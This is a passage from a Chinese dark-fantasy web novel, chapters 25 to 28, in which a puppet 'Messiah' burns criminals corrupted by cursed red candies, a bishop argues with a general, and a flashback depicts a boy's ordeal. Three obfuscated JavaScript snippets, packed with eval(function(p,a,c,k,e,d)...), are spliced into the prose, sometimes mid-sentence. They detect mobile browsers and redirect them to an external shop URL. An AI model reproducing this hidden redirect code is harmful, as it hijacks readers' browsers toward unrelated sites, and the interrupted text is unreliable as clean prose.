与其他恶贯满盈或者厚颜无耻的罪人同行相比,“新生代”不够重罪也不够邪恶,但运气比较差。 三人刚逃进森林没多久,躲在树丛的时候被晏风随手戳了几刀,大家混乱中四散逃跑。 阿新跑得比较快,回过神的时候,阿生和阿代已经不知所踪。 森林夜色寂寥,视野所及的景色都差不多。 迷路的阿新不知道自己在身在何处,也不知道怎么找到同伴,在随时随地可能遭到人偶袭击的情况下,他只能独自一人偷偷摸摸地到处逃窜。 罪人惧怕惩戒的痛苦,却不会因此而悔恨自己犯下的错误。 阿新又冷又怕,但他根本没想过今后金盆洗手的事情。 此时他最希望附近有一辆没上锁的车,只要能把车偷到手,他躲在车里他就不怕什么人偶的追杀了。 森林里当然不会有车,只有许多跟阿新一样自认为不幸和委屈的罪人同行。 阿新在一处树丛附近的补给点,遇到几个正在躲避人偶追杀的男子。 补给点提供简易的生火工具,这些人害怕火源吸引到人偶的注意而不敢使用,只能瑟瑟发抖地聚在一起人体取暖。 天就快亮了。 如果关朔夜履行诺言,这场噩梦再熬一阵子就会过去。 “主教就是个变态!”有人咒骂。 “对,教廷的魔鬼!”“那些人偶也是一群怪物!”其他人纷纷附和。 阿新混在人群里,跟着骂了几句。 他又冷又饿,但物资堆里的食物大多数都被这些先来的人吃光了,摸索半天只找到几颗红色糖果。 “凑合吃吧,这种时候就别挑拣了,勉强能补充一些热量。”身旁与他年纪相仿的男子劝说道。 “这些糖果是一个小孩留下的,”另一名男子像是他的同伴,剥开糖纸将糖果放入口中,“罪该万死的教廷,居然连这么小的孩子都不放过。” 阿新把糖果含在齿间。 红色的糖果似乎有种温暖的魔力,就跟它的鲜艳色泽一样。 甘甜淌过舌尖,阿新感觉体力恢复不少。 25.执血的弥赛亚(15)艺术 吃过糖果以后,新认识的三人互相介绍了自己。 皆为社会渣滓,在共同遭受自认为不公的惩戒场景中,彼此竟有种惺惺相惜的共鸣感。 给阿新吃糖的两人,正是在红灯区被弥赛亚逮捕的赛托斯和柳金。 他们进入森林以后的遭遇和阿新差不多,和同伴季龙扬走散了。 内心委屈的话语不用再多说,这一撮人既没有能力犯下惊世骇俗的罪恶,也没法反抗教廷的教义威压,就连主教手下的人偶都打不过。 他们只能聚集在一起,一次又一次的咒骂命运不公和人心险恶。 在这种无能狂怒的氛围中,谁都没有注意到,一阵淡红色的雾气悄无声息地在他们周身弥漫开。 鲜红色的雾气如同恶魔的阴影,映照着罪人的双眼。 “我们在路边搭讪女学生而已,就被律警司抓到了,”赛托斯虚伪地掩饰自己真正的罪行,“还莫名被主教的人偶揍得半死。” “都怪季,我敢肯定是他祖父的奉金没给够,”柳金咬着牙,十分愤恨,“现任主教就是这么贪婪,等我离开这个鬼地方,我一定要,要……” 他说着,感到口中莫名发苦,又剥开一颗糖果。 阿新也嚼着糖果,一种强烈的不甘弥漫在心中。 他不需要女人和钱,只想拥有一辆现成的豪车,用它给自己塑造一个成功身份。 什么大数据,女学生…… 在精心包装的社会地位面前,所有规则都会对他俯首称臣。 脑子想得发热,阿新在恍惚中似乎都闻到了动力燃料的味道,他想起和同伴在路边寻找猎物的时候,总是贪婪地嗅着这个味道。 它能让他联想到坐在驾驶座上,风驰电掣的感觉。 以及由此带来的气派,成功,华贵,认识或者不认识的人们对他投来嫉妒羡慕的眼光…… 似乎他想要的这辆车,就在附近。 在不远的地方。 他已经看到了。 阿新浑浑噩噩,站起来蹒跚朝着树丛外面的空地走去。 “你干什么?!”赛托斯喊住他,“会被主教的人偶抓到!” 他话音未落,坐在他身旁的柳金也突然站起来:“……是她。” 他跟着阿新的步伐,也蹒跚着朝同一个方向走去。 “是她……” “那位美丽的,还想再见一面的……” “可爱小姐……” 两人一前一后离开藏身处,丝毫不顾自己这么做的危险。 赛托斯不敢跟上他们,躲在树丛后面小声喊:“快回来!” 阿新和柳金对他的呼喊毫无反应,脚步加快,逐渐走得离他越来越远,口中呢喃着他们内心渴求的东西。 他们空洞的视线,落在远方的某处。 那里,隐约有个模糊的虚影。 从赛托斯藏身的地方看不清是什么,它既像人,又像某种物体。 苍白的月光下,那东西散发着模糊的红色,像光芒又像鲜血,带着一种难以名状的吸引力催促看到它的人靠近过去。 赛托斯感到大脑逐渐空白,双脚不听使唤地迈开。 突然,他后颈的衣领被人揪住。 他猛地惊醒过来。 回头一看,和他一起躲在树丛里的另外几个人,不知何时都凑到他身旁。 “那里,三个,数字够了。”他们直直地看着他。 “你,属于我们。” “你是第六个。” 几双手按住了他的头顶,如利爪一般扣住他的头皮。 *** 红色的灼热气息。 晏风踮着脚尖站在树枝的高处,俯视眺望周围森林的场景。 从弥赛亚的眼中迸射出红色血刃的冷光,扫射过敌人袭击的大片区域,在草地上残留燃烧的烟雾痕迹。 森林仿佛被整个烧过一次,到处充满着刺鼻的味道。 硝烟弥漫。 在被烧焦的漆黑草地上,三具暗红色的肢体四散扭曲地倒着,像是坏掉的木偶。 透过他们模糊的面目,能依稀辨认出阿新和柳金的容貌,而另一人的五官则已经损毁不清。 吃过甜美的糖果,陷入虚妄的幻觉。 阿新和柳金以为自己眼中看见的是内心所念,迫不及待地追逐上去,但他们的目标只是一个同样被糖果迷惑的人类。 三人就这样汇聚在一起,成为被幻境俘虏的怪物。 晏风此时看不到这些人的意识被污染成什么样,他注意到的是自己对他们的长相有印象。 是弥赛亚逮捕和攻击过的罪人。 如果说他们是随机被选为污染的对象,未免太过巧合。 他提示系统:“记录场景,辨识对象的身份。” 这些人还没有死,他们枯枝般虬结的手指,费力地抓住自己的咽喉和头皮,像是在试图从身体里抠出什么东西,口中发出意义不明的嘶嗬声。 零星的血水,从伤口涌出。 这些血水给了他们全新的力量,被烧焦的血人们又一次站起来,蹒跚着走向晏风站立的位置,企图在树下包围他。 系统:“只记录场景就够了吗?这……没说过教廷的人偶还要负责打怪啊。” 晏风:“重点不在战斗,三学徒的登场方式十分有趣。” 无需质疑敌人的身份。 仅凭这些怪物的数目,就足够断定他们的力量来源。 他低头朝着关朔夜的方向:“给我一点资料。” 两人之间的距离很远,那家伙这时候还被绑在树底下。 但这点距离不影响人偶和主人的通话机能,关朔夜的声音传入晏风耳中:“推测是某种魔药术法的效果,这些东西的本体都是人类,暂时不要消灭他们。” “但是……” “打搅我们的谈心,伤害我的宝贝。” “还是应该……杀光吧。” 轻描淡写的悠然语气。 深情又冷血的主教,在顷刻间就决定了敌人的生死。 几道触须从树枝间窜出,化作尖刺射向距离最近的血人。 触须前端毫不留情地攻击对方咽喉部位,那里正在不断渗出暗红的血水。 以触须的锐利程度,足以刺穿人体的皮肤组织,然而就在碰触到血污的瞬间,它触电似的缩了回去。 被接触到的部位,出现腐蚀的痕迹。 触须被血污染了。 思维意识的强度,抵不过秘法邪术的污秽力量。 晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040772|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风:“……” 就算绑在树上,也不能阻止这家伙出手捣乱吗。 那边,关朔夜突然陷入沉默。 晏风:“很痛的话,可以大声喊叫的。” 关朔夜:“……呵。” 系统:“我可以笑吗。” 晏风:“随意。” 到了这种时候,他也没空再关心马甲扮演脱节,或者说话会被听到。 越来越多的血人开始聚集到这里。 他们口中发出莫名的嘶吼声,头顶和咽喉流淌着红血,枯槁的手指依然在不断抓挠自己已经伤痕累累的身体,仿佛不堪忍受体内的血液,在拼命地驱逐这种异样的力量。 有其他人偶往这里赶来,试图攻击这些血人。 这些人的本体都是普通人类,战斗力并不强,被人偶的攻击短暂夺走行动力之后,血人倒在地上,但经过一段时间的恢复,又再次蹒跚蠕动起来。 他们不会昏迷,不知疲倦,似乎也并不打算攻击谁,只是漫无目的地行走着,偶尔包围住一些树木并破坏它们,而后继续前进。 流淌不尽的鲜血,在血人脚下汇聚成无数红痕。 血色在空气中蒸发,黑夜弥漫起赤红的雾气,薄雾在寒冷的暗夜里蒸腾,将森林的一切都染上恐怖的阴霾。 此时,已经完全分不清在雾气里蹒跚的血人,究竟还是不是活着的人类。 必须彻底让他们停止行动。 晏风提醒关朔夜:“你不要再乱动了,交给我。” 他的身体缓缓浮空,双眸彻底变为深邃的红瞳,冷冷注视着脚下如同怪物狂欢的场景。 净化魔药术法,不是弥赛亚的擅长。 但在对象陷入狂乱无法自控的时候,对他们施以更加深刻的恐惧,促使理性短暂回归,这方法还是值得一试。 弥赛亚漂浮在红雾的上方。 他的双手微微聚拢,仿若优雅地捧起一道清泉。 光团在他手中凝聚。 “为什么我被称为执血的弥赛亚。” “诸位今晚将有幸,亲眼目睹。” “行使制裁的职责,给予罪恶以永恒的安宁。” “你给予我的力量,也会成为你的力量。” “我的主人……” “请好好地,看着我。” 圣洁肃穆的红光升起。 随着人偶手指的动作,轻轻洒落。 真神怜爱世人。 惩戒的权柄,会宽恕世间一切罪恶。 无数鲜红色血刃,穿透夜幕。 瞬间的静默。 ——! 骤然,血人的哀叫笼罩大地。 红色的光芒,将夜晚映照得如同血幕降临。 血刃从人偶的指间不断洒落,如暴戾的惩戒利剑,又如浸染凡间的温柔泉水。 无数扭曲蠕动的人体被刺透,他们发出凄厉的嚎叫倒伏在地,形态痛苦地不断抽搐着。 在巨大的恐惧威压之下,人体身上的血色逐渐消退。 污秽的身体仿佛被圣洁的红光烧灼,他们身上的鲜血痕迹从内而外地燃烧蒸腾,血污化作浓郁的红雾飘散在空中。 森林烟雾弥漫,到处都是焦黑和血红。 场面惨烈至极。 26.执血的弥赛亚(16)对峙 而制造这一切的始作俑者,人偶的主人却毫不在意。 关朔夜目睹弥赛亚的肆意屠戮,发出迷离的赞叹声:“真是令人惊叹的血腥艺术,不愧是我的宝贝。” “……不愧是,我最爱的你。” 无尽的爱意和纵容。 心爱人偶的惊悚杰作,造成的破坏场面不值一提。 事后,即使此间沦为灵魂灭绝的地狱,主教也会欣然赞赏。 晏风没有听见他的话。 人偶的身体漂浮在空中,红光依然不断从指间洒落,映照着他冷冽如冰的神情。 与在平常执行逮捕任务的时候相比,此时的弥赛亚已经完全形似机械的举止,丝毫不见之前模拟人类的表情和感性。 理性和意识,似乎都在离晏风渐渐远去。 系统在脑内喊着什么,但变得模糊不清。 惩戒模式的人偶会最高限度的脱离人格化状态,完全沦为一具屠戮武器,直到彻底完成他的目标,期间唯有他的主人可以中途强制暂停程序,但关朔夜显然不打算阻拦这一切。 无尽的烧灼。 森林沦为一片炼狱火海。 身心陷入污秽的罪人们,意识被痛苦地焚烧着,凄厉的呼喊声回荡在血雾里,但没有人会来拯救他们。 漫长的噩梦,无穷无尽。 夜幕浸染着血色。 黑暗中的猩红,无情地勾画出一番末日业火的景象。 不知过了多久…… 突然,一道强光穿透进来。 光芒将整座森林照得如同白昼,扭曲的肢体和焦黑的树木,瞬间在强光的照射下无所遁形。 意识猛然醒转。 晏风微微眯起眼。 他像是在一场荒诞的噩梦里,一下子被人唤醒。 模糊的理智回到脑海中,系统的声音在耳边变得清晰:“殿下,快醒醒!” 系统:“殿下,赶紧停手啊!” 系统:“他们快被你弄死了!” 晏风听进了系统的话。 他微微闭上眼,收拢手指将所有的血刃收回,重新凝聚在手中成为一个红色光团。 当手指再度舒展开,光团消失。 “惩戒模式,停止。” “无需紧张,主教的人偶不会忤逆律法。” “真神会宽恕一切罪人,令他们遭受意识清醒的痛苦。” “然后,永远记住今晚发生的这一切。” 弥赛亚的目光投向地面。 随着血刃停止攻击,森林遭受的无差别范围扫射终于结束。 草地上,到处都布满了被火焰焚烧过的焦黑色,周围无数扭曲的人体散落,他们身上的衣衫都被烧得残破不堪,空气里弥漫着浓烈的气味,还有一缕缕黑红色的烟雾。 貌似已经被烧焦的人体发出虚弱的哀嚎,所有人似乎都从幻觉里清醒过来了。 一道道刺目的白光,在地面游移。 空中传来小型飞艇盘旋的引擎声。 这里的动静,终于引来了其他人的注意,对方阻止了事态继续发展。 晏风辨认出那不是律警司的巡逻警灯,而刚才照醒他的那片光芒也不属于皇庭九司的任何部门。 它是一种大型的能量场,照明范围堪比一枚核弹武器,但并没有搭载什么破坏武器。 按照效果看来,类似一个巨型灯泡。 被灯光照亮的夜空中,能看到数架小型飞船正在靠近这片森林区域。 “这么快就会使用了,合理的行动。” 晏风轻笑一声,悄然退到暗处。 系统:“什么什么?谁使用什么行动?” 晏风没有说话,敏捷地跳下树梢,视线的余光瞥到关朔夜自己挣脱开了触须的束缚。 很好。 之后,弥赛亚该暂时告别舞台了。 引发这场闹剧的主教,以及阻止闹剧的不速之客。 他们两位,将会自动把他期待中的剧本推进下去。 那边,关朔夜解开触须以后,将它们谨慎地全部收齐。 他十分认真地整理好自己的仪容,仿佛即将要接待一位重要的访客,然后像没事人似的从座椅里站起来,缓步走向近处的一片狼藉。 警戒的光束还在地面上游移。 一个人从背光处走出来,冷声问:“这里发生了什么?” 军靴踏过被焚烧的草地。 光束照在来者的身上,军装披风肩头的数枚星章,在光芒里熠熠生辉。 关朔夜的视线稍稍回避开。 他似乎并不喜欢这种象征威严和忠诚的光辉,语气懒散道:“我在自己的教区里行使真神的惩戒仪式,不需要经过军武司的审批吧?” “厉上将。” 并非行使监管职责的律警司,或者拥有赏罚教廷权限的法仪司。 甚至也不是军武司的某个正式部门。 厉星鸾。 来者是这位年轻的上将本人,以及隶属他麾下的巡航小队。 系统尖叫起来:“他都不休息的吗?!——” 晏风躲在暗处,默然看着厉星鸾和关朔夜的对峙。 数小时的分别后,和他又见面了。 厉星鸾在岚峰城与渊先生告别以后,不知为何没有返回军部,而是绕路来到不属于他职务范围内的白银十字领星。 但晏风清楚其中的缘由。 “明天我会召见星鸾,这件事让他心神不宁。” “有劳他了。” 即使在这种非正式场合的现身,厉星鸾的仪态也完全一丝不苟。 他轻拢着军装披风,在朝这边走过来的时候,军靴谨慎地避开了周围有人受伤躺倒的位置。 跟随在他身后的几名士兵已经准备就绪,只等他一声令下,就会立刻对伤者展开救治。 晏风推测这支小队应该是在经过领星范围的时候,无意中发现了这片区域的动静,以厉星鸾的性格不会对这种事坐视不管,因而出手阻拦。 而阻拦的方式十分巧妙,他使用了渊先生,也就是晏风赠予他的礼物。 深渊的告死蝶。 以强光照射在一瞬间短暂夺走所有人的视觉,由此强迫停止森林范围内的一切动作。 无需武力介入,也没有人会因此受伤。 厉星鸾很好地做到了渊先生的要求,合法合规并且非常合适地使用这件武器。 这场闹剧最终结束在他的手中,而不是其他哪个职能部门,应该算是关朔夜的幸运么。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048338|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 毕竟晏风自己,也不是很清楚脱离人格化的人偶,会造成什么程度的破坏。 “只是因为在教区范围内,您的人偶就可以随意屠戮人类取乐?” 厉星鸾对关朔夜发出质问,眼神里带着尽量收敛的斥责,以他的身份无权对教廷的掌权者指手画脚。 但他很难相信一名领星的最高统治者,会允许下属在私人土地上肆意折磨公民,而这场闹剧显然没有经过法仪司的批准。 借用真神惩戒的名义,将森林搞得满目疮痍。 传闻现任主教疯狂而堕落,犹如魔鬼附身,似乎并非虚言。 “注意您的言辞,厉上将,”关朔夜漠然地微笑着,“身为真神在大地的代行者,我从不以教众的性命取乐,您对我的评价有失偏颇。” “我宽容您的这次失言,因为我体谅您并非教众也不是领星公民,眼中所看到的景物会与灵魂所见的真实有很大不同。” “也许您以为自己目睹的是血腥杀戮,痛苦哀嚎,被焚烧过后森林里的遍地残骸,我作为这场惨剧的始作俑者理应遭受天谴。” “而事实上,这些惊悚的场面只是负罪者在教义允许的范围内,必须接受的责罚。” “人偶怒火焚烧的不是这些人的身体而是意识,由此带来的灵魂痛苦与其他惩戒手段比如鞭打,跪拜,反思,囚禁没有任何不同。” “或者您认为,这些犯下各种罪行诸如绑架,谋杀,纵火并且不知悔改的人,仅仅需要在监狱里度过几年悠闲的时光就够了?” 厉星鸾没有说话。 不知道他是被说服了,还是其他什么难以形容的原因。 晏风头疼地揉了揉额角。 系统适时吐槽:“出现了,关主教擅长的繁文缛节,以措辞累赘的交流方法迷惑对手,且有理有据。” 晏风:“星鸾不喜欢听废话,希望朔夜不会因此挨打。” 但关朔夜准备好了避免挨打的方式。 在他为自己辩解之后,森林附近出现了几处能量漩涡,森林与外界连接的空间通道打开,每处通道里突然都涌进一大群人。 这些人仿佛从天而降,晏风都不知道关朔夜是什么时候准备好的。 他们的衣着大都光鲜亮丽,显然有一定的身份地位而且并非负罪者,像是他们的亲属。 在被放进森林以后,这些人纷纷哭喊着朝躺在地上的扭曲人形跑过去,口中呼唤自己寻找的家人名字。 而那些被焚烧得七零八落,仿佛已经重伤濒死的残骸,在听到自己名字之后竟然纷纷蠕动起来,他们挣扎着在草地上扭曲爬动,朝着家人呼喊声所在的方向发出求救的呜咽。 听到熟悉的声音,亲属又惊又喜地奔过去,双方拥在一起抱头痛哭。 转眼间,满目疮痍的森林变成了罪人和家属团聚的现场。 罪人们呜咽着喃喃自语,仿佛依然沉浸在之前的噩梦里失去心智,哀求着获得真神的宽恕。 而亲属们则纷纷对关朔夜感激涕零,用各种衷心赞美的言辞感谢他拯救自家误入歧途的血亲,洗涤他们被恶魔迷惑的灵魂。 “谢谢您,主教阁下!” “谢谢您宽恕我们的罪恶!” “永远信奉真神的光辉和仁慈!” 27.执血的弥赛亚(17)糖果 系统十分震惊:“人烧成那样,他们还谢谢?都疯了吗。” 晏风:“那些罪人的精神遭到了严重破坏,很长一段时间都会陷入恐惧失智的状态。” “他们都是屡教不改的累犯,对家人来说与其在外面为非作歹,不如在家白养一个疯子,像是季龙扬这种人,你是希望他出去诱拐少女,还是在家拔自己的头发?” 那边,关朔夜对教众们的哭诉温柔回应:“不必感激我,真神会宽恕一切世间的罪恶。” “如果诸位真诚希望表达你们的信仰,慈善捐赠会是一种良好的传统方法。” 说着,他又转向厉星鸾:“您看,没有人在这次事件里受伤,我心爱的人偶不是什么血腥残忍的侩子手,希望您能向他道歉。” 厉星鸾:“……如果不是亲眼所见,我确实很难相信被焚烧的人体会在瞬间恢复如初。” 关朔夜:“目睹教廷的神迹,您应该感到荣幸,那么,请向我可爱的弥赛亚道歉吧。” 要求一名高级军官向没有生命的人工造物道歉,在普通人看来实在是匪夷所思的做法,但厉星鸾没有表达异议。 他是无意中看到森林的异常,谨防有公民受伤才决定出手阻止。 在他们都莫名活过来以后,他就已经完成了任务,关于传言中教廷的内部纷争,术法秘药,亦或是主教和人偶之间怪异的亲密关系,他都没有兴趣深究。 “您的人偶是哪一位?”他四下环顾,周围没有看到抱头痛哭的人们之外的人型生物。 “他就在……嗯?”关朔夜回头看了看,发现弥赛亚并不在附近。 就在他们两人交谈的间隙,晏风早已悄然离开。 每个马甲的捏造都有深意,弥赛亚是为监督关朔夜而存在的,晏风无意用这幅外表和厉星鸾见面,他一向习惯尽量避免多余的人际关系建立。 况且,他有自己的任务在身,没有闲暇久留。 “既然您的人偶没有在场,我也就不陪您闲聊了,”厉星鸾示意巡逻小队集结,“需要提醒主教阁下,由于我的训练场在附近行星带,训练途中监测到能源反应,才会来到这里。” “这意味着除我以外的其他人,也可能感知到这片森林的异常。” “其中包括谁,不用我多说明,希望您心里有数。” 眼里看到的那些正在跟亲属抱头痛哭的罪人,厉星鸾并不能百分百确定他们真的毫发无伤,毕竟他目睹了人偶焚烧整座森林的惨烈景象,以及事后躺在地上的那些焦黑肢体。 正常人不可能经过那样的折磨以后还活着,他很怀疑这种存活状态,是不是关朔夜蒙骗他的某种障眼法,因此提出了合情合理的警告。 站在他的立场,教廷的言行和他毫无关系。 但他不希望关朔夜发疯遭到法仪司弹劾的话,会给晏风带来什么麻烦。 他知道这两人之间的关系,很复杂。 皇权和教廷。 未来的皇帝和教宗。 以及,曾经的青梅竹马。 关朔夜礼貌地颔首:“多谢厉上将提醒,以我的经验之谈,之后法仪司必然会就今晚的事件对我进行调查,但这并非重点。” “我好奇的是,如果他们需要详细的现场取证,您作为证人的话,会对我进行怎样的评价呢?” 厉星鸾一时没有听懂他的意思:“我会如实告知,有什么疑问?” “呵,厉上将正如传闻中的那样凛然正直,令我自惭形秽。” “那今晚的见面就到此为止,您请回吧。” 不知为何,关朔夜似乎对厉星鸾的回答觉得很有趣,他说罢做了一个礼节性的邀请姿势,而后自顾自地转身走了。 厉星鸾站在原地思索片刻,提声道:“关主教。” “想要得到殿下的信任,采取方法固然重要,但更需自身光明磊落。” “也许以您惯用的手段,会认为我的想法幼稚可笑,但胜负不在逞一时的口舌之快。” “您应该懂我的意思。” “告辞。” *** 此时,距离不远的某处。 晏风正在一处树丛里调查补给点的物资,他想要的线索应该就在这里。 系统发出提示:“殿下,厉上将和关主教好像在为您争执。” 晏风没太在意,低头捻起一颗糖果。 找到了。 他对系统说:“我会通知观风阁,明天多准备一份早餐。” 系统:“?” 晏风:“内容太过跳跃,逻辑模块无法做出推理吗?” “为你解题。” “朔夜担心星鸾会在法仪司面前说他的坏话,挑拨我和他之间的关系,他需要挽回一下危机,而他知道星鸾半夜忙着训练是因为他明天可能需要面见我,所以明天他也会来。” “我要为朔夜准备早餐,在吃饭方面不能厚此薄彼。” 系统:“……” 系统:“这题好难。” 晏风:“其实朔夜知道星鸾绝不是那种卑鄙小人,但他需要危险的安全感,在虚伪,猜忌,斗争和阴谋中立于不败之地,顺应他的意志得到一切包括我,由此反复确认自身的存在价值。” “他的思维触须,会在这种身心双重的折磨下,得到扭曲的强化。” 系统:“非要这么阴暗吗?” 晏风:“心念成长于培育的土壤,你要知道星鸾背后是一个庞大的家族,抛开内部纷争暂且不论,厉家的血脉传承和皇权年岁相当,培育土壤坚实且深厚,是谁都不敢小觑的权威力量。” “但朔夜,他没有家了。” “教廷里除了趋炎附势的小人,全是他的敌人,在他的心念里唯一能依靠的只有我,但他不想成为我的累赘。” “他认为,自己本应是我的力量。” 而后,他做到了。 为此付出的伤痛,只能借用人偶抚慰自己。 晏风给他足够的宽容,是希望他早日走出来,他不希望自己的力量是靠他人如此深重的痛苦所得来的。 况且,人类的思维承受力有限,关朔夜选择的道路也许有一天会毁灭自己。 “朔夜值得一个好结局。”晏风轻声叹息。 “我不想亲手……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050538|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不想亲手消灭他。” “他很明白。” “这就是我们不能在一起,但彼此依然密不可分的理由。” 系统:“哭了,你们真的好爱。” 晏风:“各自的职责罢了。” “欲戴冠冕,必然承受其重。” “不说这个了,有新任务。” 系统:“是您手里的糖果吗?” 当关朔夜和厉星鸾对峙的时候,晏风就已经悄然离开焚烧的中心现场。 将被秘术污染的意识恢复清醒是弥赛亚的任务,他很好地完成了,暂时不需要继续留在关朔夜身边。 但作为晏风的身份,这件事还不算结束。 曾经与他接触过的罪人,在被污染之后自发地靠近他,这不能用单纯的巧合来解释,晏风需要探究其中可能存在的原因,而一切的开端必然是这些人遭受污染的源头。 三学徒的秘药,是如何混入森林并且在罪人们的身上产生效果? 当晏风看到他们全身流出的鲜血,那种异样的鲜红色,内心已经有了一种猜测。 他曾经见过这种颜色。 就在那个短暂的时刻,如果后来的一切没有发生,他会很快遗忘那件事。 那个孩子,小诗。 不知为何混入罪人的行列,被人偶和成年人一起抓来的,看似凑巧用弓箭袭击晏风的可怜孩童。 他和关朔夜都决定放过那个孩子的时候,从他口袋里掉出的糖果,就是如泣血般澄澈透明的鲜红色。 晏风根据记忆迅速找遍森林里所有提供食物的补给点,结果至少找到数十枚遗留的糖果,而可能被不知情的罪人们吃掉的,更是不计其数。 普通小孩,绝不可能随身携带这么多糖果,并且短时间内将它们散落在所有补给点。 系统提示:“追踪小诗离开能源信道的方向,发现已经有人偶跟踪,推测是关主教的指派。” 晏风:“看来朔夜早就觉得那孩子不对劲了,难怪我觉察到森林里的人偶数量有些减少。” 系统:“我们要追上去吗?” 晏风摇头:“他只是一个道具,完成任务之后肯定会被处理掉,那是朔夜的工作,我不该干涉。” “而我的任务……” “或许是,有些东西在呼唤我。” 他将手中的糖果轻轻举起。 透过月色,甜美的鲜红被光线穿过,散发出诱人的色泽。 从糖果内部能依稀看到一副画面,它不知被什么人用什么方式描绘在那里,就像是一副小巧精致的艺术品。 那是寥寥几笔勾勒出的山影图案。 层叠的山峦,缭绕的云雾。 一只狰狞的巨物头颅在山巅咆哮,仿佛要吞噬这个世间。 简洁的剪影,线条单薄却无比生动,多看一眼都能感受到巨物的暴戾怒火。 “龙神山影。” 晏风轻声道。 “隐没在帝国历史长河中的古神,为这世界带来无尽恐惧的诅咒魔物。” “缪赞。” “是你,又在呼唤我吗……” 28.执血的弥赛亚(18)颜色 好痛。 全身都好痛。 金发的少年匍匐在地。 意识痛得模糊不清,耳边隐约传来他人愤怒的咆哮声。 ——砍他啊,这不过是个小孩! ——我,我下不去手,而且流这么多血,成年人都已经死了,他为什么还在喘气?如果他确实是真神的化身,我们这么做会不会遭报应? ——那就让他的母亲来杀! “让关静狩……” “让关静狩让去杀他!” 这是…… 是母亲的名字吗? 少年的意识随着那些声音漂浮,恍惚中脱离自己的身体,进入另一个人的脑内。 这一次,他似乎在母亲的脑海中。 母亲的意识成为他的一部分,那些愤怒的咆哮转而朝向攻击她,他们疯狂而焦躁,渴求着她的溃败却又在恐惧着什么。 ——她还不屈服吗,灌了这么多药液还能保持清醒,不愧是金狩骑士。 ——再灌!国辅的皇庭军团随时可能赶到,我们的时间不多了! 为什么要她屈服?为了什么事情而屈服? 对了。 真神的化身,只能被血亲消灭。 要杀死她的孩子,唯有作为母亲的她自己,以及……父亲。 但,不是这样的。 纯粹的真神根本没有血亲,他是毫无依托地降临于世,说话的这些人都是教廷成员,他们应该都很清楚教义的真相。 血亲消灭,只是借口而已。 他们,只是想借机摧毁忤逆自己的异端势力。 疯狂的咆哮声,还在继续。 ——主教呢? ——他去找皇庭司求助,半路被我们劫杀了。 ——混蛋,为什么不留他一条命?那个懦弱的废物就是教廷的耻辱,和金狩骑士偷偷诞下这个私生子,给圣洁的教廷蒙羞! ——但这孩子不是…… ——住口!主教还能救吗? ——他自己冲向了我们的剑,刺穿心脏当场毙命,杀死真神化身的方法他比我们更清楚。 主教。 那个徒有虚名的人。 曾经的教廷掌权者,真面目却是一个由教司扶持上位的傀儡。 也是这些人捏造的污蔑谎言中,他名义上的父亲。 在这一瞬间,他突然神志错乱,心神颠倒,眼前浮现出这个人的幻影。 ——静狩。 是他的声音。 是父亲在呼唤母亲。 ——静狩,我好像发现了这个世界的秘密。 ##### 抹除 ##### 话语如同一阵清风,悄无痕迹地从他的脑海里消失。 刚才父亲说了什么? 是谁,在说什么? 是……什么? 仿佛有一只看不见的手,用橡皮擦轻轻擦除了他脑内的信息。 刚才他肯定听到了父亲的什么话,但怎么也想不起来。 甚至,他轻缓地遗忘了自己想不起来的这件事。 痕迹温柔地从脑海中消失,最后,什么都没有发生过。 是的。 这世界,哪有什么秘密呢。 ——看到这个怪物了吗! 凶狠的咆哮,再次如同炸雷在耳边轰鸣。 身穿教司长袍的男子,抓起少年的头发,将他拖拽到虚弱的母亲面前。 ——静狩!就是这个怪物,是他杀死了主教和你们的孩子! ——杀了他,为你的家人们报仇! 女子眼神涣散,秘药几乎摧毁了她的理智,一旦被操纵,她就会相信施药人的所有言语,对他言听计从。 但她还没有屈服。 不,不对。 不是仇人,没有怪物。 她……没有孩子啊。 记忆中的画面,在眼前飞速交织。 意识陷入错乱的边缘,身心遭受双重折磨的女子,正在逐渐分不清真实和谎言。 她快要崩溃了。 而她脑海中的多余意识,又属于谁? 是母亲,是父亲。 也是……自己。 少年注视着母亲眼中的自己。 是自己的存在,让母亲陷入如此深重的痛苦? 如果他从未诞生,如果自己就此消失…… 意识猛然回到金发少年的脑海内。 在这一刻,他感受到了母亲的痛苦,父亲的痛苦,还有他自己。 一切的来源,都是他本身。 如果他不复存在,悲剧也会立刻结束。 少年咬着牙,在地上缓慢爬动,他朝向教司为母亲杀死他而准备的祭坛,朝着燃烧的火盆而去。 不知从哪里来的力气。 他纵身一跃。 跳进了火盆中。 炽热的焰火,顿时吞没了他的身体。 霎那间,少年的全身都被烈焰痛苦灼烧,他的咽喉里发出一阵阵扭曲的悲鸣。 残留的视野中,他看到周围的人体在扭曲变形,辨识不同相貌衣着形态的信息,诡异地从他们身上逐渐褪去,最终在他眼中变成了鲜活和枯萎的颜色。 